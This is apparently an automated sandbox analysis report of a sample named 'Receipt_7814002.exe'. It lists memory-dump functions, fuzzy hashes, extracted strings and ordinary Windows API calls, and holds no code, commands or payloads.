Source File: 00000000.00000002.2374834205.0000000006BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06BF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6bf0000_Receipt_7814002.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cdbc694f3980815f55232783c75822d9e6613cbbff785d5711f96039770037ce
Instruction ID: 1567cbfdcccc12d59be3ae749832338cd9f8ff0a4e996d201e48946213b03edf
Opcode Fuzzy Hash: cdbc694f3980815f55232783c75822d9e6613cbbff785d5711f96039770037ce
Instruction Fuzzy Hash: 8A3129B1D097548BE729CF2B8C5479ABAF7AFC5300F09C0EAD408A6265DA740A85CF51

Uniqueness

Uniqueness Score: -1.00%

Function 06BF0040 Relevance: .1, Instructions: 77COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2374834205.0000000006BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06BF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6bf0000_Receipt_7814002.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 12986b23cd654a3d55b54472aa5c1e9d51dc023a984452181453cdd728a9dea4
Instruction ID: 800b56be7d67ba07b4c811a344a6a86ffd795cb89e9c2a37ebb5ef88bbca972d
Opcode Fuzzy Hash: 12986b23cd654a3d55b54472aa5c1e9d51dc023a984452181453cdd728a9dea4
Instruction Fuzzy Hash: 8F31DE70D00628CFEB69DF2AC854699BAF6BF88300F00C0EAD51CA6264DB745B85CF50

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: Receipt_7814002.exePID: 1480, Parent PID: 6112COMMON

Execution Graph

Execution Coverage:	10.3%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	142
Total number of Limit Nodes:	15

Executed Functions

Function 06C53030 Relevance: 8.0, Strings: 6, Instructions: 545
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$]q, xrefs: 06C5373B
$]q, xrefs: 06C5377C
$]q, xrefs: 06C53764
$]q, xrefs: 06C53758
$]q, xrefs: 06C53788
$]q, xrefs: 06C5372F

Memory Dump Source

Source File: 00000003.00000002.3266218985.0000000006C50000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c50000_Receipt_7814002.jbxd

Similarity

API ID:
String ID: $]q$$]q$$]q$$]q$$]q$$]q
API String ID: 0-3723351465
Opcode ID: 9e8bec6dd918fb8bc0b51c2ae6664c6cee16aecd12efa89a6060088a6e23389c
Instruction ID: 26f5a75872b2265d615b520513638be8fd2c0c71ac7adbcaee7063189de944f7
Opcode Fuzzy Hash: 9e8bec6dd918fb8bc0b51c2ae6664c6cee16aecd12efa89a6060088a6e23389c
Instruction Fuzzy Hash: 69324130E1065ACFCB55EF79D99459DF7B1FFC9340F21866AD409A7224EB30AA85CB80

Uniqueness

Uniqueness Score: -1.00%

Function 06C57D40 Relevance: 3.0, Strings: 2, Instructions: 472
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$]q, xrefs: 06C582AC
$]q, xrefs: 06C582B8

Memory Dump Source

Source File: 00000003.00000002.3266218985.0000000006C50000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c50000_Receipt_7814002.jbxd

Similarity

API ID:
String ID: $]q$$]q
API String ID: 0-127220927
Opcode ID: b22096b2e0a60dfaf2d67ae2c808f604e5eeb43eb8c3cae6de0cb9a3c154e5d1
Instruction ID: 41a1f8c52f586d32481d8408be464b53e8b2a90f032ed2e2da17f63d477af9a3
Opcode Fuzzy Hash: b22096b2e0a60dfaf2d67ae2c808f604e5eeb43eb8c3cae6de0cb9a3c154e5d1
Instruction Fuzzy Hash: 4902F130B002169FCB58DF69D984A6EB7E6FF84304F118529D80ADB394DB35ED82CB91

Uniqueness

Uniqueness Score: -1.00%

Function 06C565A8 Relevance: .8, Instructions: 818COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3266218985.0000000006C50000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c50000_Receipt_7814002.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5cfabf1f0ce4aa8dda56bb6eaef18955e2f76b3f2d5f9370ddde54087614262d
Instruction ID: 8a222ff10ebba5b2b75a37aac9100cc99a588582e1e74d2589e92f63eecff9d8
Opcode Fuzzy Hash: 5cfabf1f0ce4aa8dda56bb6eaef18955e2f76b3f2d5f9370ddde54087614262d
Instruction Fuzzy Hash: 8A62DF34B002049FDB64DF69D944AADB7F2EF84314F558429E80ADB364DB35ED86CB84

Uniqueness

Uniqueness Score: -1.00%

Function 06C5C150 Relevance: .6, Instructions: 645COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3266218985.0000000006C50000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c50000_Receipt_7814002.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0e60352f8bd19bd561089b116454136191615a5a726e4de3d3e4c82a8760335c
Instruction ID: 316b51c448dd4b4996d10049ce365d633815e2a28988aee061ae45d3c482114a
Opcode Fuzzy Hash: 0e60352f8bd19bd561089b116454136191615a5a726e4de3d3e4c82a8760335c
Instruction Fuzzy Hash: 1032D034B002099FDB64DF68ED84AADB7B6EB88304F11852DE805EB354CB35DD82CB95

Uniqueness

Uniqueness Score: -1.00%

Function 06C55568 Relevance: .6, Instructions: 589COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3266218985.0000000006C50000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c50000_Receipt_7814002.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5865d37bf0221eebd4b62564b63dea299d76cd620efb1df89da622cf6e67e6af
Instruction ID: 8fd7f3ad4d5e2a2d6d3949e6b9a1baa55086bfd412a7f888a4cb6f5bc5a4df9c
Opcode Fuzzy Hash: 5865d37bf0221eebd4b62564b63dea299d76cd620efb1df89da622cf6e67e6af
Instruction Fuzzy Hash: 5622E371E102158FDF60DFA4C8806AEB7B2EF88314F65846AD809EB354DB35DD82CB95

Uniqueness

Uniqueness Score: -1.00%

Function 06C5B1E8 Relevance: .6, Instructions: 563COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3266218985.0000000006C50000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c50000_Receipt_7814002.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4210b129cde9d190134ad82377ec1a78d181b945c8d4f3b1fb113771fbb3b78f
Instruction ID: 335d24a44205ea0b54c8bd1a187e927081e8d1677734ccf7af6bf039224e066e
Opcode Fuzzy Hash: 4210b129cde9d190134ad82377ec1a78d181b945c8d4f3b1fb113771fbb3b78f
Instruction Fuzzy Hash: C6227170E002099BDF64CE69D9A07ADBBB6FB45310F21882AE845DB391DB34DDC1CB56

Uniqueness

Uniqueness Score: -1.00%

Function 06C5AC90 Relevance: 10.4, Strings: 8, Instructions: 392
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$]q, xrefs: 06C5AE33
$]q, xrefs: 06C5AE04
$]q, xrefs: 06C5AE5C
$]q, xrefs: 06C5ADB1
$]q, xrefs: 06C5AE68
$]q, xrefs: 06C5ADBD
$]q, xrefs: 06C5AE10
$]q, xrefs: 06C5AE3F

Memory Dump Source

Source File: 00000003.00000002.3266218985.0000000006C50000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c50000_Receipt_7814002.jbxd

Similarity

API ID:
String ID: $]q$$]q$$]q$$]q$$]q$$]q$$]q$$]q
API String ID: 0-1273862796
Opcode ID: d00769eb7ee4bb1bc2a19f13be80d191d0ed315c97da44efa210dba552eb9ae1
Instruction ID: 39d40cb925bd798a7efd0cafeb08e7b17c99503c7c46e70bda80ff84576426fe
Opcode Fuzzy Hash: d00769eb7ee4bb1bc2a19f13be80d191d0ed315c97da44efa210dba552eb9ae1
Instruction Fuzzy Hash: F5E18030E002098FCB68DFAAD9906AEB7B6FF85304F11862DD8059B354DB75DD86CB85

Uniqueness

Uniqueness Score: -1.00%

Function 06C5B618 Relevance: 8.0, Strings: 6, Instructions: 469
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$]q, xrefs: 06C5BBD1
$]q, xrefs: 06C5BB9D
$]q, xrefs: 06C5BBDD
$]q, xrefs: 06C5BBA9
$]q, xrefs: 06C5BB69
$]q, xrefs: 06C5BB75

Memory Dump Source

Source File: 00000003.00000002.3266218985.0000000006C50000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c50000_Receipt_7814002.jbxd

Similarity

API ID:
String ID: $]q$$]q$$]q$$]q$$]q$$]q
API String ID: 0-3723351465
Opcode ID: 386b4856b766b3804bdaa14e343117d8a4aac1c4fd7e9d5a027b788d33862c62
Instruction ID: e79ed442f129f9ec25493245ee29e3a2c2d86bb3d896303c041074646eac49e3
Opcode Fuzzy Hash: 386b4856b766b3804bdaa14e343117d8a4aac1c4fd7e9d5a027b788d33862c62
Instruction Fuzzy Hash: 81029130E0020A8FDBA4DF69D9A06ADBBB6FF45300F11892AD805DB355DB34ED85CB95

Uniqueness

Uniqueness Score: -1.00%

Function 06C42E03 Relevance: 6.1, APIs: 4, Instructions: 129
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 06C42E86
GetCurrentThread.KERNEL32 ref: 06C42EC3
GetCurrentProcess.KERNEL32 ref: 06C42F00
GetCurrentThreadId.KERNEL32 ref: 06C42F59

Memory Dump Source

Source File: 00000003.00000002.3265952819.0000000006C40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c40000_Receipt_7814002.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: d1fe6f8d3fe2a08804a13d4fa042b71a92f7572a56a45f7ced35ecda8b53e8f0
Instruction ID: 57f5c649894903f94d644725d72d0f0a51c85562b4ef66b33214758d6432277e
Opcode Fuzzy Hash: d1fe6f8d3fe2a08804a13d4fa042b71a92f7572a56a45f7ced35ecda8b53e8f0
Instruction Fuzzy Hash: F75139B09012498FDB54DFA9D548B9EBBF1FF48314F20845DE119A7250D7385A84CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 06C42E08 Relevance: 6.1, APIs: 4, Instructions: 128
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 06C42E86
GetCurrentThread.KERNEL32 ref: 06C42EC3
GetCurrentProcess.KERNEL32 ref: 06C42F00
GetCurrentThreadId.KERNEL32 ref: 06C42F59

Memory Dump Source

Source File: 00000003.00000002.3265952819.0000000006C40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c40000_Receipt_7814002.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: ac213f564f455aac308717f69ce61ee2502a8ba75598682e61d86d76748712d5
Instruction ID: 3e6b0c4cababc8fd04b403c093c40766bee87a42ec7a5a48eadc48084239a2b7
Opcode Fuzzy Hash: ac213f564f455aac308717f69ce61ee2502a8ba75598682e61d86d76748712d5
Instruction Fuzzy Hash: 235138B09013498FDB54DFAAD948BAEBBF5FF48314F20845DE019A7250D7389A84CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 06C59110 Relevance: 5.2, Strings: 4, Instructions: 230
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$]q, xrefs: 06C59192
$]q, xrefs: 06C5919E
$]q, xrefs: 06C59157
$]q, xrefs: 06C59163

Memory Dump Source

Source File: 00000003.00000002.3266218985.0000000006C50000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c50000_Receipt_7814002.jbxd

Similarity

API ID:
String ID: $]q$$]q$$]q$$]q
API String ID: 0-858218434
Opcode ID: 67f426b81a0adf6130eb436d079a4da92fb9e78a52e00256e418451b910e9a0d
Instruction ID: cc7f75f5976f2d1c0eaa844c560b5a21898cce601bf24085a1ed515529246bbb
Opcode Fuzzy Hash: 67f426b81a0adf6130eb436d079a4da92fb9e78a52e00256e418451b910e9a0d
Instruction Fuzzy Hash: 29916030B0021A9FDB64DF69D95079EB7F6FF88244F108469C80DDB344EE759D868B91

Uniqueness

Uniqueness Score: -1.00%

Function 06C5CF00 Relevance: 4.5, Strings: 3, Instructions: 799
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$]q, xrefs: 06C5D30B
$]q, xrefs: 06C5D2FF
$]q, xrefs: 06C5D2F7

Memory Dump Source

Source File: 00000003.00000002.3266218985.0000000006C50000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c50000_Receipt_7814002.jbxd

Similarity

API ID:
String ID: $]q$$]q$$]q
API String ID: 0-182748909
Opcode ID: 878f95cd5ae93d682ca7596dfb1be0fe311edfb4dfd588e98ed45e1141a1db8d
Instruction ID: b9ca003aae0d077b1d74437f327079ec32a6ef4e3321db37e3ca5b05c19784d6
Opcode Fuzzy Hash: 878f95cd5ae93d682ca7596dfb1be0fe311edfb4dfd588e98ed45e1141a1db8d
Instruction Fuzzy Hash: 6362A330A003068FCB55DF69D980A5DBBB6FF84304F118929D40A9F369DB75ED86CB85

Uniqueness

Uniqueness Score: -1.00%

Function 06C54B40 Relevance: 3.9, Strings: 3, Instructions: 186
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

\Obq, xrefs: 06C54D1B
fbq, xrefs: 06C54B6B
XPbq, xrefs: 06C54C91

Memory Dump Source

Source File: 00000003.00000002.3266218985.0000000006C50000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c50000_Receipt_7814002.jbxd

Similarity

API ID:
String ID: fbq$XPbq$\Obq
API String ID: 0-4057264190
Opcode ID: 563a2aa42ef1159329adcf28b1522497330814b829237cac81842acb3aa9becf
Instruction ID: 65615d64d7353ebc242f36049f7a52016395fc3f1380206f89cd0bac4ad4c093
Opcode Fuzzy Hash: 563a2aa42ef1159329adcf28b1522497330814b829237cac81842acb3aa9becf
Instruction Fuzzy Hash: AD618370F002099FEB549FA5C8547AEBBF6FF88700F20842ED509AB394DB758D458B55

Uniqueness

Uniqueness Score: -1.00%

Function 06C59101 Relevance: 2.7, Strings: 2, Instructions: 159
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$]q, xrefs: 06C59192
$]q, xrefs: 06C59157

Memory Dump Source

Source File: 00000003.00000002.3266218985.0000000006C50000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c50000_Receipt_7814002.jbxd

Similarity

API ID:
String ID: $]q$$]q
API String ID: 0-127220927
Opcode ID: 426ffd0d9e050739b1448045dfdc4ace023394310e355f6beb7baf950be1107d
Instruction ID: 6293504333ce7cfcf8c12e1917d437093dde34db0bd087bde25688cbdb62d8ab
Opcode Fuzzy Hash: 426ffd0d9e050739b1448045dfdc4ace023394310e355f6beb7baf950be1107d
Instruction Fuzzy Hash: 1B517230B001069FDB65DB79D954BAEB3F6EB88644F108469C80DD7394EE35DD428B91

Uniqueness

Uniqueness Score: -1.00%

Function 06C54B30 Relevance: 2.6, Strings: 2, Instructions: 141
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

fbq, xrefs: 06C54B6B
XPbq, xrefs: 06C54C91

Memory Dump Source

Source File: 00000003.00000002.3266218985.0000000006C50000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c50000_Receipt_7814002.jbxd

Similarity

API ID:
String ID: fbq$XPbq
API String ID: 0-2292610095
Opcode ID: f3ee393c2a7ee10a2ab0c78f2783f6c2cdd1a9b36092139bad1222468f9feed5
Instruction ID: 4b3f071098ba915394bf6744a1d1201981995e65a84b34a1e53bd0714b4a66aa
Opcode Fuzzy Hash: f3ee393c2a7ee10a2ab0c78f2783f6c2cdd1a9b36092139bad1222468f9feed5
Instruction Fuzzy Hash: 5151A270F002099FDB549FA5C854BAEBBF6FF88700F20852DD50AAB395DB758C458B91

Uniqueness

Uniqueness Score: -1.00%

Function 06C4B318 Relevance: 1.7, APIs: 1, Instructions: 208COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 06C4B57E

Memory Dump Source

Source File: 00000003.00000002.3265952819.0000000006C40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c40000_Receipt_7814002.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 641619d73ec2d0c94d0c21b6f27f457c2c3153f6506abed312277a02236107a3
Instruction ID: 9ff090f302a01a144e1daf5640e97a8333908b61b8be6c85a4e110dd0cd558a0
Opcode Fuzzy Hash: 641619d73ec2d0c94d0c21b6f27f457c2c3153f6506abed312277a02236107a3
Instruction Fuzzy Hash: B3816870A00B058FD7A4EF2AD44475ABBF5FF48304F008A2ED48AD7A50DB35E945CB91

Uniqueness

Uniqueness Score: -1.00%

Function 014CEC80 Relevance: 1.6, APIs: 1, Instructions: 136COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3235721608.00000000014C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 014C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_14c0000_Receipt_7814002.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3d6fab195cf63b3ca0e89cfbd3acf0aa08ec3992aa240de2d69b398cd5cff454
Instruction ID: ded276a63f274328ebd46a350ea6d553da37b9f4827d62d1ce7d2445462fb5d8
Opcode Fuzzy Hash: 3d6fab195cf63b3ca0e89cfbd3acf0aa08ec3992aa240de2d69b398cd5cff454
Instruction Fuzzy Hash: 68413372D043998FCB14DFB9D8142EEBFF1AF89210F1485ABD504A7751DB789881CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 06C4D504 Relevance: 1.6, APIs: 1, Instructions: 117COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 06C4D622

Memory Dump Source

Source File: 00000003.00000002.3265952819.0000000006C40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c40000_Receipt_7814002.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: 1934adcde24ee99602415a38b5484c01e00c005fb999a348df2b877899016b8f
Instruction ID: f1f95d2077b8c6f551b0a7400c7075caaf89d438c0a5ae0010822aab2d3d2fc7
Opcode Fuzzy Hash: 1934adcde24ee99602415a38b5484c01e00c005fb999a348df2b877899016b8f
Instruction Fuzzy Hash: 8251CDB1D00349DFDB14DF9AC884ADEBFB5BF48314F24852AE819AB210D775A981CF90

Uniqueness

Uniqueness Score: -1.00%

Function 06C4D510 Relevance: 1.6, APIs: 1, Instructions: 113COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 06C4D622

Memory Dump Source

Source File: 00000003.00000002.3265952819.0000000006C40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c40000_Receipt_7814002.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: 4097dfd42d664f1a89c502e53c26a85bbea30663797a0cec13fb3e0d1c7a0c1e
Instruction ID: 5e64e5731bddf369869dd296ba254ab118e47d9603123e1a080736f36f2f82f0
Opcode Fuzzy Hash: 4097dfd42d664f1a89c502e53c26a85bbea30663797a0cec13fb3e0d1c7a0c1e
Instruction Fuzzy Hash: 2C41DDB1D00309DFDB14DF9AC884ADEBFB5BF48310F24852AE819AB210D774A981CF90

Uniqueness

Uniqueness Score: -1.00%

Function 06C4E49C Relevance: 1.6, APIs: 1, Instructions: 97COMMON

Download Yara Rule

APIs

CallWindowProcW.USER32(?,?,?,?,?), ref: 06C4FD11

Memory Dump Source

Source File: 00000003.00000002.3265952819.0000000006C40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c40000_Receipt_7814002.jbxd

Similarity

API ID: CallProcWindow
String ID:
API String ID: 2714655100-0
Opcode ID: 1665df5df028a1d831a8f5caa002ea5a927c980d2b1e787061331c6370e878ba
Instruction ID: 277a33cc57ebace519b860e7aac1e478c96dcb4737b4cf96e20172e0887026a3
Opcode Fuzzy Hash: 1665df5df028a1d831a8f5caa002ea5a927c980d2b1e787061331c6370e878ba
Instruction Fuzzy Hash: 6F4129B5900205CFDB54DF99C448AAABBF5FF88314F24885DE519AB321D374A945CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 06C43048 Relevance: 1.6, APIs: 1, Instructions: 63COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 06C430D7

Memory Dump Source

Source File: 00000003.00000002.3265952819.0000000006C40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c40000_Receipt_7814002.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 5b8e25d1f2a8afe8004d200d6d66f2eaae33803662f4ce8b9cc1a00208362fce
Instruction ID: 5901d4180fd5cbd5be8b93eb12e1e071ea72f4e7421a2118abeb87a6bdad0d58
Opcode Fuzzy Hash: 5b8e25d1f2a8afe8004d200d6d66f2eaae33803662f4ce8b9cc1a00208362fce
Instruction Fuzzy Hash: A421D2B59002599FDB10CF9AD984AEEBBF5FB48320F14841AE919A3250D379A940CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 06C43050 Relevance: 1.6, APIs: 1, Instructions: 62COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 06C430D7

Memory Dump Source

Source File: 00000003.00000002.3265952819.0000000006C40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c40000_Receipt_7814002.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 4ee53f3456b8d79c4a1e9e4c4d28de6fae3c7e7e3822e09abc8bb2ad76c86519
Instruction ID: 9e8a896e9cf133e94fb8c722482af6fec99eb951961b0ca89fd0dda0141d73e0
Opcode Fuzzy Hash: 4ee53f3456b8d79c4a1e9e4c4d28de6fae3c7e7e3822e09abc8bb2ad76c86519
Instruction Fuzzy Hash: 7721C4B59002499FDB10DF9AD984ADEFFF9FB48320F14841AE918A3350D379A944CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 06C4B779 Relevance: 1.6, APIs: 1, Instructions: 57libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNELBASE(00000000,00000000,?,?,?,?,00000000,?,06C4B5F9,00000800,00000000,00000000), ref: 06C4B7EA

Memory Dump Source

Source File: 00000003.00000002.3265952819.0000000006C40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c40000_Receipt_7814002.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 78784240b33633dd6b1dccb3489568b5e44176574421ce12e05c9915fccda9ae
Instruction ID: db1ab18124e570135fd70b72085dbd6bbe98b7840db9a65edd4d4a8b8e61f135
Opcode Fuzzy Hash: 78784240b33633dd6b1dccb3489568b5e44176574421ce12e05c9915fccda9ae
Instruction Fuzzy Hash: AC11E4B6C002499FDB10DF9AD844ADEFBF9EF48720F10842EE519A7200C779A545CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 06C4A2D0 Relevance: 1.6, APIs: 1, Instructions: 55libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNELBASE(00000000,00000000,?,?,?,?,00000000,?,06C4B5F9,00000800,00000000,00000000), ref: 06C4B7EA

Memory Dump Source

Source File: 00000003.00000002.3265952819.0000000006C40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c40000_Receipt_7814002.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 5022e72c29e672d1e3172d75a83dc0e306bbd0a0d842b6f1294a776f9e7380b1
Instruction ID: b6fd12c7ff8127551f2c47cd1b084da9874c8007c6ab8846d92da45967517628
Opcode Fuzzy Hash: 5022e72c29e672d1e3172d75a83dc0e306bbd0a0d842b6f1294a776f9e7380b1
Instruction Fuzzy Hash: DB1114B6C042498FDB10DFAAC844A9EFBF8EF48310F10842EE519A7200C379A945CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 014CED68 Relevance: 1.6, APIs: 1, Instructions: 52COMMON

Download Yara Rule

APIs

GlobalMemoryStatusEx.KERNELBASE ref: 014CEDCF

Memory Dump Source

Source File: 00000003.00000002.3235721608.00000000014C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 014C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_14c0000_Receipt_7814002.jbxd

Similarity

API ID: GlobalMemoryStatus
String ID:
API String ID: 1890195054-0
Opcode ID: f0799095d7d6e8b8886bf43521c8656dc31e3dcd26ae2c179acfbd660b6c0621
Instruction ID: 315606ee4da6d782cc297342773a692f4c610c48be9c16216cb2c0980184e1d9
Opcode Fuzzy Hash: f0799095d7d6e8b8886bf43521c8656dc31e3dcd26ae2c179acfbd660b6c0621
Instruction Fuzzy Hash: 92111FB1C0065A9BCB10DF9AC444BDEFBF4EF48320F10816AE818B7240D378AA40CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 06C4B518 Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 06C4B57E

Memory Dump Source

Source File: 00000003.00000002.3265952819.0000000006C40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c40000_Receipt_7814002.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 3ae5b353a756e59f7526566904f72abaaff7a894a4d0c09658d8abb60e669690
Instruction ID: f4103f84551d59107c1f594902922107fb9e4f8c94762cabddf0a9684cc9cb88
Opcode Fuzzy Hash: 3ae5b353a756e59f7526566904f72abaaff7a894a4d0c09658d8abb60e669690
Instruction Fuzzy Hash: 5C11E0B5C003498FDB10DF9AC844ADEFBF4EF88324F14845AD429A7610D379AA45CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 06C5DA75 Relevance: 1.4, Strings: 1, Instructions: 125COMMON

Download Yara Rule

Strings

PH]q, xrefs: 06C5DBD1

Memory Dump Source

Source File: 00000003.00000002.3266218985.0000000006C50000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c50000_Receipt_7814002.jbxd

Similarity

API ID:
String ID: PH]q
API String ID: 0-3168235125
Opcode ID: 959ede1d290d2a2476ab2568613081b41d0d4d6dae1251bca2a59cc780632304
Instruction ID: cada6c915a31a9bf54b9746c9e791b4f1ce432edcfcb635efbec74515886c4b2
Opcode Fuzzy Hash: 959ede1d290d2a2476ab2568613081b41d0d4d6dae1251bca2a59cc780632304
Instruction Fuzzy Hash: 1041BF70E1030A9FDB60AF65D85069EBBB6FF85300F11452DE806D7244DB74A986CB89

Uniqueness

Uniqueness Score: -1.00%

Function 06C521B8 Relevance: 1.4, Strings: 1, Instructions: 105COMMON

Download Yara Rule

Strings

PH]q, xrefs: 06C522F3

Memory Dump Source

Source File: 00000003.00000002.3266218985.0000000006C50000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c50000_Receipt_7814002.jbxd

Similarity

API ID:
String ID: PH]q
API String ID: 0-3168235125
Opcode ID: d82f166f7323cb5d1276ad7f0ed77275e92cbcfa916698110ee2f3456f9fe9de
Instruction ID: af77de1876331e23c4c506c9e3d12b7ac485954685a0bc489e87e28c6efef4b3
